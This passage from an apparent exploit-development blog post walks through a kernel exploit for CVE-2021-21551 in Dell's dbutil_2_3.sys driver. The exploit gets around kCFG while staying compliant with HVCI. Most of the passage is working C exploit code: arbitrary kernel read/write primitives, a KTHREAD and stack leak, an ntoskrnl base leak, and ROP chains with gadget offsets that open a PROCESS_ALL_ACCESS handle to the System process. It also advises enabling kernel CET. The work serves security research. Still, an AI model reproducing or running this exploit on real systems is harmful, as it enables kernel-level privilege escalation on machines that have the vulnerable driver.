Again, we use getchar() to pause execution so we can inspect the thread before the process terminates. After executing the above exploit, we can see the ability to locate where nt!KiApcInterrupt + 0x328 exists on the stack.

We have now successfully located our target return address! Using our arbitrary write primitive, let’s overwrite the return address with 0x4141414141414141 - which should cause a system crash when our thread is resumed.

//
// Print update
//
printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

//
// Our ROP chain will start here
//
write64(inHandle, retAddr, 0x4141414141414141);

//
// Resume the thread to kick off execution
//
ResumeThread(dummyThread);

As we can see - our system has crashes and we control RIP! The system is attempting to return into the address 0x4141414141414141 - meaning we now control execution at the kernel level and we can now redirect execution into our ROP chain.

We also know the base address of ntoskrnl.exe, meaning we can resolve our needed ROP gadgets to arbitrarily invoke a kernel-mode API. Remember - just like DEP - ROP doesn’t actually execute unsigned code. We “resuse” existing signed code - which stays within the bounds of HVCI. Although it is a bit more arduous, we can still invoke arbitrary APIs - just like shellcode.

So let’s put together a proof-of-concept to arbitrarily call PsGetCurrentProcess - which should return a pointer to the EPROCESS structure associated with process housing the thread our ROP chain is executing in (our “dummy thread”). We also (for the purposes of showing it is possible) will save the result in a user-mode address so (theoretically) we could act on this object later.

Here is how our ROP chain will look.

This ROP chain places nt!PsGetCurrentProcess into the RAX register and then performs a jmp rax to invoke the function. This function doesn’t accept any parameters, and it returns a pointer to the current processes’ EPROCESS object. The calculation of this function’s address can be identified by calculating the offset from ntoskrnl.exe.

We can begin to debug the ROP chain by setting a breakpoint on the first pop rax gadget - which overwrites nt!KiApcInterrupt + 0x328.

After the pop rax occurs - nt!PsGetCurrentProcess is placed into RAX. The jmp rax gadget is dispatched - which invokes our call to nt!PsGetCurrentProcess (which is an extremely short function that only needs to index the KPRCB structure).

After completing the call to nt!PsGetCurrentProcess - we can see a user-mode address on the stack, which is placed into RCX and is used with a mov qword ptr [rcx], rax gadget.

This is a user-mode address supplied by us. Since nt!PsGetCurrentProcess returns a pointer to the current process (in the form of an EPROCESS object) - an attacker may want to preserve this value in user-mode in order to re-use the arbitrary write primitive and/or read primitive to further corrupt this object.

You may be thinking - what about Supervisor Mode Access Prevention (SMAP)? SMAP works similarly to SMEP - except SMAP doesn’t focus on code execution. SMAP prevents any kind of data access from ring 0 into ring 3 (such as copying a kernel-mode address into a user-mode address, or performing data access on a ring 3 page from ring 0). However, Windows only employs SMAP in certain situations - most notably when the processor servicing the data-operation is at an IRQL 2 and above. Since kernel-mode code runs at an IRQL of 0, this means SMAP isn’t “in play” - and therefore we are free to perform our data operation (saving the EPROCESS object into user-mode).

We have now completed the “malicious” call and we have successfully invoked an arbitrary API of our choosing - without needing to detonate any unsigned-code. This means we have stepped around HVCI by staying compliant with it (e.g. we didn’t turn HVCI off - we just stayed within the guidelines of HVCI). kCFG was bypassed in this instance (we took control of RIP) by overwriting a return address, similarly to my last blog series on browser exploitation. Intel CET in the Windows kernel would have prevent this from happening.

Since we are using ROP, we need to restore our execution now. This is due to the fact we have completely altered the state of the CPU registers and we have corrupted the stack. Since we have only corrupted the “dummy thread” - we simply can invoke nt!ZwTerminateThread, while passing in the handle of the dummy thread, to tell the Windows OS to do this for us! Remember - the “dummy thread” is only being used for the arbitrary API call. There are still other threads (the main thread) which actually executes code within Project2.exe. Instead of manually trying to restore the state of the “dummy thread” - and avoid a system crash - we simply can just ask Windows to terminate the thread for us. This will “gracefully” exit the thread, without us needing to manually restore everything ourselves.

nt!ZwTerminateThread accepts two parameters. It is an undocumented function, but it actually receives the same parameters as prototyped by its user-mode “cousin”, TerminateThread.

All we need to pass to nt!ZwTerminateThread is a handle to the “dummy thread” (the thread we want to terminate) and an NTSTATUS code (we will just use STATUS_SUCCESS, which is a value of 0x00000000). So, as we know, our first parameter needs to go into the RCX register (the handle to the “dummy thread”).

As we can see above, our handle to the dummy thread will be placed into the RCX register. After this is placed into the RCX register, our exit code for our thread (STATUS_SUCCESS, or 0x00000000) is placed into RDX.

Now we have our parameters setup for nt!ZwTerminateThread. All that there is left now is to place nt!ZwTerminateThread into RAX and to jump to it.

You’ll notice, however, that instead of hitting the jmp rax gadget - we hit another ret after the ret issued from the pop rax ; ret gadget. Why is this? Take a closer look at the stack.

When the jmp rax instruction is dispatched (nt!_guard_retpoline_indeirect_rax+0x5e) - the stack is in a 16-byte alignment (a 16-byte alignment means that the last two digits of the virtual address, e.g. 0xffffc789dd19d160, which would be 60, end with a 0). Windows API calls sometimes use the XMM registers, under the hood, which allow memory operations to be facilitated in 16-byte intervals. This is why when Windows API calls are made, they must (usually) be made in 16-byte alignments! We use the “extra” ret gadget to make sure that when jmp nt!ZwTerminateThread dispatches, that the stack is properly aligned.

From here we can execute nt!ZwTerminateThread.

From here we can press g in the debugger - as the Windows OS will gracefully exit us from the thread!

As we can see, we have our EPROCESS object in the user-mode cmd.exe console! We can cross-reference this address in WinDbg to confirm.

Parsing this address as an EPROCESS object, we can confirm via the ImageFileName that this is the EPROCESS object associated with our current process! We have successfully executed a kernel-mode function call, from user-mode (via our vulnerability), while not triggering kCFG or HVCI!

Bonus ROP Chain

Our previous nt!PsGetCurrentProcess function call outlined how it is possible to call kernel-mode functions via an arbitrary read/write primitive, from user-mode, without triggering kCFG and HVCI. Although we won’t step through each gadget, here is a “bonus” ROP chain that you could use, for instance, to open up a PROCESS_ALL_ACCESS handle to the System process with HVCI and kCFG enabled (don’t forget to declare CLIENT_ID and OBJECT_ATTRIBUTE structures!).

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

	//
	// Handle to the System process
	//
	HANDLE systemprocHandle = NULL;

	//
	// CLIENT_ID
	//
	CLIENT_ID clientId = { 0 };
	clientId.UniqueProcess = ULongToHandle(4);
	clientId.UniqueThread = NULL;

	//
	// Declare OBJECT_ATTRIBUTES
	//
	OBJECT_ATTRIBUTES objAttrs = { 0 };

	//
	// memset the buffer to 0
	//
	memset(&objAttrs, 0, sizeof(objAttrs));

	//
	// Set members
	//
	objAttrs.ObjectName = NULL;
	objAttrs.Length = sizeof(objAttrs);
	
	//
	// Begin ROP chain
	//
	write64(inHandle, retAddr, ntBase + 0xa50296);				// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x8, &systemprocHandle);		// HANDLE (to receive System process handle)
	write64(inHandle, retAddr + 0x10, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x18, PROCESS_ALL_ACCESS);		// PROCESS_ALL_ACCESS
	write64(inHandle, retAddr + 0x20, ntBase + 0x2e8281);		// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x28, &objAttrs);				// OBJECT_ATTRIBUTES
	write64(inHandle, retAddr + 0x30, ntBase + 0x42a123);		// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x38, &clientId);				// CLIENT_ID
	write64(inHandle, retAddr + 0x40, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x48, ntBase + 0x413210);		// nt!ZwOpenProcess
	write64(inHandle, retAddr + 0x50, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	write64(inHandle, retAddr + 0x58, ntBase + 0xa50296);		// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x60, (ULONG64)dummyThread);	// HANDLE to the dummy thread
	write64(inHandle, retAddr + 0x68, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x70, 0x0000000000000000);		// Set exit code to STATUS_SUCCESS
	write64(inHandle, retAddr + 0x78, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x80, ntBase + 0x4137b0);		// nt!ZwTerminateThread
	write64(inHandle, retAddr + 0x88, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	
	//
	// Resume the thread to kick off execution
	//
	ResumeThread(dummyThread);

	//
	// Sleep Project2.exe for 1 second to allow the print update
	// to accurately display the System process handle
	//
	Sleep(1000);

	//
	// Print update
	//
	printf("[+] System process HANDLE: 0x%p\n", systemprocHandle);

What’s nice about this technique is the fact that all parameters can be declared in user-mode using C - meaning we don’t have to manually construct our own structures, like a CLIENT_ID structure, in the .data section of a driver, for instance.

Conclusion

I would say that HVCI is easily one of the most powerful mitigations there is. As we saw - we actually didn’t “bypass” HVCI. HVCI mitigates unsigned-code execution in the VTL 0 kernel - which is something we weren’t able to achieve. However, Microsoft seems to be dependent on Kernel CET - and when you combine kCET, kCFG, and HVCI - only then do you get coverage against this technique.

HVCI is probably not only the most complex mitigation I have looked at, not only is it probably the best, but it taught me a ton about something I didn’t know (hypervisors). HVCI, even in this situation, did its job and everyone should please go and enable it! When coupled with CET and kCFG - it will make HVCI resilient against this sort of attack (just like how MBEC makes HVCI resilient against PTE modification).

It is possible to enable kCET if you have a supported processor - as in many cases it isn’t enabled by default. You can do this via regedit.exe by adding a value called Enabled - which you need to set to 1 (as a DWORD) - to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\KernelShadowStacks key. Shoutout to my coworker Yarden Shafir for showing me this! Thanks for tuning in!

Here is the final code (nt!ZwOpenProcess).

Definitions in ntdll.h:

#include <Windows.h>
#include <Psapi.h>
#include <time.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemMirrorMemoryInformation,
    SystemPerformanceTraceInformation,
    SystemObsolete0,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemVerifierAddDriverInformation,
    SystemVerifierRemoveDriverInformation,
    SystemProcessorIdleInformation,
    SystemLegacyDriverInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemVerifierThunkExtend,
    SystemSessionProcessInformation,
    SystemLoadGdiDriverInSystemSpace,
    SystemNumaProcessorMap,
    SystemPrefetcherInformation,
    SystemExtendedProcessInformation,
    SystemRecommendedSharedDataAlignment,
    SystemComPlusPackage,
    SystemNumaAvailableMemory,
    SystemProcessorPowerInformation,
    SystemEmulationBasicInformation,
    SystemEmulationProcessorInformation,
    SystemExtendedHandleInformation,
    SystemLostDelayedWriteInformation,
    SystemBigPoolInformation,
    SystemSessionPoolTagInformation,
    SystemSessionMappedViewInformation,
    SystemHotpatchInformation,
    SystemObjectSecurityMode,
    SystemWatchdogTimerHandler,
    SystemWatchdogTimerInformation,
    SystemLogicalProcessorInformation,
    SystemWow64SharedInformation,
    SystemRegisterFirmwareTableInformationHandler,
    SystemFirmwareTableInformation,
    SystemModuleInformationEx,
    SystemVerifierTriageInformation,
    SystemSuperfetchInformation,
    SystemMemoryListInformation,
    SystemFileCacheInformationEx,
    MaxSystemInfoClass

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

// Prototype for ntdll!NtQuerySystemInformation
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
//
// CVE-2021-21551 (HVCI-compliant)
// Author: Connor McGarr (@33y0re)
//

#include "ntdll.h"
#include <stdio.h>

//
// Vulnerable IOCTL codes
//
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

//
// NTSTATUS codes
//
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000

/**
 * @brief Function to arbitrarily read kernel memory.
 *
 * This function is able to take kernel mode memory, dereference it
 * and return it to user-mode.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHAT - The kernel-mode memory to be dereferenced/read.
 * @return The dereferenced contents of the kernel-mode memory.

 */
ULONG64 read64(HANDLE inHandle, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (read primitive)
	//
	ULONG64 inBuf[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one = 0x4141414141414141;
	ULONG64 two = WHAT;
	ULONG64 three = 0x0000000000000000;
	ULONG64 four = 0x0000000000000000;

	//
	// Assign the values
	//
	inBuf[0] = one;
	inBuf[1] = two;
	inBuf[2] = three;
	inBuf[3] = four;

	//
	// Interact with the driver
	//
	DWORD bytesReturned = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_READ_CODE,
		&inBuf,
		sizeof(inBuf),
		&inBuf,
		sizeof(inBuf),
		&bytesReturned,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return the QWORD
		//
		return inBuf[3];
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return an error
	//
	return (ULONG64)1;
}

/**
 * @brief Function used to arbitrarily write to kernel memory.
 *
 * This function is able to take kernel mode memory
 * and write user-supplied data to said memory
 * 1 QWORD (ULONG64) at a time.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHERE - The data the user wishes to write to kernel mode.
 * @param WHAT - The kernel-mode memory to be written to.
 * @return Result of the operation in the form of a boolean.
 */
BOOL write64(HANDLE inHandle, ULONG64 WHERE, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (write primitive)
	//
	ULONG64 inBuf1[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one1 = 0x4141414141414141;
	ULONG64 two1 = WHERE;
	ULONG64 three1 = 0x0000000000000000;
	ULONG64 four1 = WHAT;

	//
	// Assign the values
	//
	inBuf1[0] = one1;
	inBuf1[1] = two1;
	inBuf1[2] = three1;
	inBuf1[3] = four1;

	//
	// Interact with the driver
	//
	DWORD bytesReturned1 = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_WRITE_CODE,
		&inBuf1,
		sizeof(inBuf1),
		&inBuf1,
		sizeof(inBuf1),
		&bytesReturned1,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return TRUE
		//
		return TRUE;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return FALSE (arbitrary write failed)
	//
	return FALSE;
}

/**
 * @brief Function to obtain a handle to the dbutil_2_3.sys driver.
 * @param Void.
 * @return The handle to the driver.
 */
HANDLE getHandle(void)
{
	//
	// Obtain a handle to the driver
	//
	HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
		0x0,
		NULL,
		OPEN_EXISTING,
		0x0,
		NULL
	);

	//
	// Error handling
	//
	if (driverHandle == INVALID_HANDLE_VALUE)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the driver handle
		//
		return driverHandle;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

/**
 * @brief Function used for LPTHREAD_START_ROUTINE
 *
 * This function is used by the "dummy thread" as
 * the entry point. It isn't important, so we can
 * just make it "return"
 *
 * @param Void.
 * @return Void.
 */
void randomFunction(void)
{
	return;
}

/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */
HANDLE createdummyThread(void)
{
	//
	// Invoke CreateThread
	//
	HANDLE dummyThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)randomFunction,
		NULL,
		CREATE_SUSPENDED,
		NULL
	);

	//
	// Error handling
	//
	if (dummyThread == (HANDLE)-1)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the handle to the thread
		//
		return dummyThread;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */
NtQuerySystemInformation_t resolveFunc(void)
{
	//
	// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)
	//
	HMODULE ntdllHandle = GetModuleHandleW(L"ntdll.dll");

	//
	// Error handling
	//
	if (ntdllHandle == NULL)
	{
		// Bail out
		goto exit;
	}

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t func = (NtQuerySystemInformation_t)GetProcAddress(
		ntdllHandle,
		"NtQuerySystemInformation"
	);

	//
	// Error handling
	//
	if (func == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Print update
		//
		printf("[+] ntdll!NtQuerySystemInformation: 0x%p\n", func);

		//
		// Return the address
		//
		return func;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return (NtQuerySystemInformation_t)1;
}

/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */
ULONG64 leakKTHREAD(HANDLE dummythreadHandle)
{
	//
	// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation
	//
	NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t NtQuerySystemInformation = resolveFunc();

	//
	// Error handling
	//
	if (NtQuerySystemInformation == (NtQuerySystemInformation_t)1)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Set size to 1 and loop the call until we reach the needed size
	//
	int size = 1;

	//
	// Output size
	//
	int outSize = 0;

	//
	// Output buffer
	//
	PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

	//
	// Error handling
	//
	if (out == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// do/while to allocate enough memory necessary for NtQuerySystemInformation
	//
	do
	{
		//
		// Free the previous memory
		//
		free(out);

		//
		// Increment the size
		//
		size = size * 2;

		//
		// Allocate more memory with the updated size
		//
		out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

		//
		// Error handling
		//
		if (out == NULL)
		{
			//
			// Bail out
			//
			goto exit;
		}

		//
		// Invoke NtQuerySystemInformation
		//
		retValue = NtQuerySystemInformation(
			SystemHandleInformation,
			out,
			(ULONG)size,
			&outSize
		);
	} while (retValue == STATUS_INFO_LENGTH_MISMATCH);

	//
	// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS
	//
	if (retValue != STATUS_SUCCESS)
	{
		//
		// Is out == NULL? If so, malloc failed and we can't free this memory
		// If it is NOT NULL, we can assume this memory is allocated. Free
		// it accordingly
		//
		if (out != NULL)
		{
			//
			// Free the memory
			//
			free(out);

			//
			// Bail out
			//
			goto exit;
		}

		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// NtQuerySystemInformation should have succeeded
		// Parse all of the handles, find the current thread handle, and leak the corresponding object
		//
		for (ULONG i = 0; i < out->NumberOfHandles; i++)
		{
			//
			// Store the current object's type number
			// Thread object = 0x8
			//
			DWORD objectType = out->Handles[i].ObjectTypeNumber;

			//
			// Are we dealing with a handle from the current process?
			//
			if (out->Handles[i].ProcessId == GetCurrentProcessId())
			{
				//
				// Is the handle the handle of the "dummy" thread we created?
				//
				if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)
				{
					//
					// Grab the actual KTHREAD object corresponding to the current thread
					//
					ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;

					//
					// Free the memory
					//
					free(out);

					//
					// Return the KTHREAD object
					//
					return kthreadObject;
				}
			}
		}
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle to the "dummy thread"
	//
	CloseHandle(
		dummythreadHandle
	);

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)retValue;
}

/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */
ULONG64 resolventBase(void)
{
	//
	// Array to receive kernel-mode addresses
	//
	LPVOID* lpImageBase = NULL;

	//
	// Size of the input array
	//
	DWORD cb = 0;

	//
	// Size of the array output (all load addresses).
	//
	DWORD lpcbNeeded = 0;

	//
	// Invoke EnumDeviceDrivers (and have it fail)
	// to receive the needed size of lpImageBase
	//
	EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// lpcbNeeded should contain needed size
	//
	lpImageBase = (LPVOID*)malloc(lpcbNeeded);

	//
	// Error handling
	//
	if (lpImageBase == NULL)
	{
		//
		// Bail out
		// 
		goto exit;
	}

	//
	// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase
	// array).
	//
	cb = lpcbNeeded;

	//
	// Invoke EnumDeviceDrivers properly.
	//
	BOOL getAddrs = EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// Error handling
	//
	if (!getAddrs)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// The first element of the array is ntoskrnl.exe.
	//
	return (ULONG64)lpImageBase[0];

//
// Execution reaches here if an error occurs
//
exit:

	//
	// Return an error.
	//
	return (ULONG64)1;
}

/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */
BOOL constructROPChain(HANDLE inHandle, HANDLE dummyThread, ULONG64 KTHREAD, ULONG64 ntBase)
{
	//
	// KTHREAD.StackBase = KTHREAD + 0x38
	//
	ULONG64 kthreadstackBase = KTHREAD + 0x38;

	//
	// Dereference KTHREAD.StackBase to leak the stack
	//
	ULONG64 stackBase = read64(inHandle, kthreadstackBase);

	//
	// Error handling
	//
	if (stackBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Leaked kernel-mode stack: 0x%llx\n", stackBase);

	//
	// Variable to store our target return address for nt!KiApcInterrupt
	//
	ULONG64 retAddr = 0;

	//
	// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)
	// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower
	// addresses.
	//
	for (int i = 0x8; i < 0x7000 - 0x8; i += 0x8)
	{
		//
		// Invoke read64() to dereference the stack
		//
		ULONG64 value = read64(inHandle, stackBase - i);

		//
		// Kernel-mode address?
		//
		if ((value & 0xfffff00000000000) == 0xfffff00000000000)
		{
			//
			// nt!KiApcInterrupt+0x328?
			//
			if (value == ntBase + 0x41b718)
			{
				//
				// Print update
				//
				printf("[+] Leaked target return address of nt!KiApcInterrupt!\n");

				//
				// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328
				//
				retAddr = stackBase - i;

				//
				// Break the loop if we find our address
				//
				break;
			}
		}

		//
		// Reset the value
		//
		value = 0;
	}

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

	//
	// Handle to the System process
	//
	HANDLE systemprocHandle = NULL;

	//
	// CLIENT_ID
	//
	CLIENT_ID clientId = { 0 };
	clientId.UniqueProcess = ULongToHandle(4);
	clientId.UniqueThread = NULL;

	//
	// Declare OBJECT_ATTRIBUTES
	//
	OBJECT_ATTRIBUTES objAttrs = { 0 };

	//
	// memset the buffer to 0
	//
	memset(&objAttrs, 0, sizeof(objAttrs));

	//
	// Set members
	//
	objAttrs.ObjectName = NULL;
	objAttrs.Length = sizeof(objAttrs);
	
	//
	// Begin ROP chain
	//
	write64(inHandle, retAddr, ntBase + 0xa50296);				// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x8, &systemprocHandle);		// HANDLE (to receive System process handle)
	write64(inHandle, retAddr + 0x10, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x18, PROCESS_ALL_ACCESS);		// PROCESS_ALL_ACCESS
	write64(inHandle, retAddr + 0x20, ntBase + 0x2e8281);		// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x28, &objAttrs);				// OBJECT_ATTRIBUTES
	write64(inHandle, retAddr + 0x30, ntBase + 0x42a123);		// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x38, &clientId);				// CLIENT_ID
	write64(inHandle, retAddr + 0x40, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x48, ntBase + 0x413210);		// nt!ZwOpenProcess
	write64(inHandle, retAddr + 0x50, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	write64(inHandle, retAddr + 0x58, ntBase + 0xa50296);		// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x60, (ULONG64)dummyThread);	// HANDLE to the dummy thread
	write64(inHandle, retAddr + 0x68, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x70, 0x0000000000000000);		// Set exit code to STATUS_SUCCESS
	write64(inHandle, retAddr + 0x78, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x80, ntBase + 0x4137b0);		// nt!ZwTerminateThread
	write64(inHandle, retAddr + 0x88, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	
	//
	// Resume the thread to kick off execution
	//
	ResumeThread(dummyThread);

	//
	// Sleep Project2.ee for 1 second to allow the print update
	// to accurately display the System process handle
	//
	Sleep(1000);

	//
	// Print update
	//
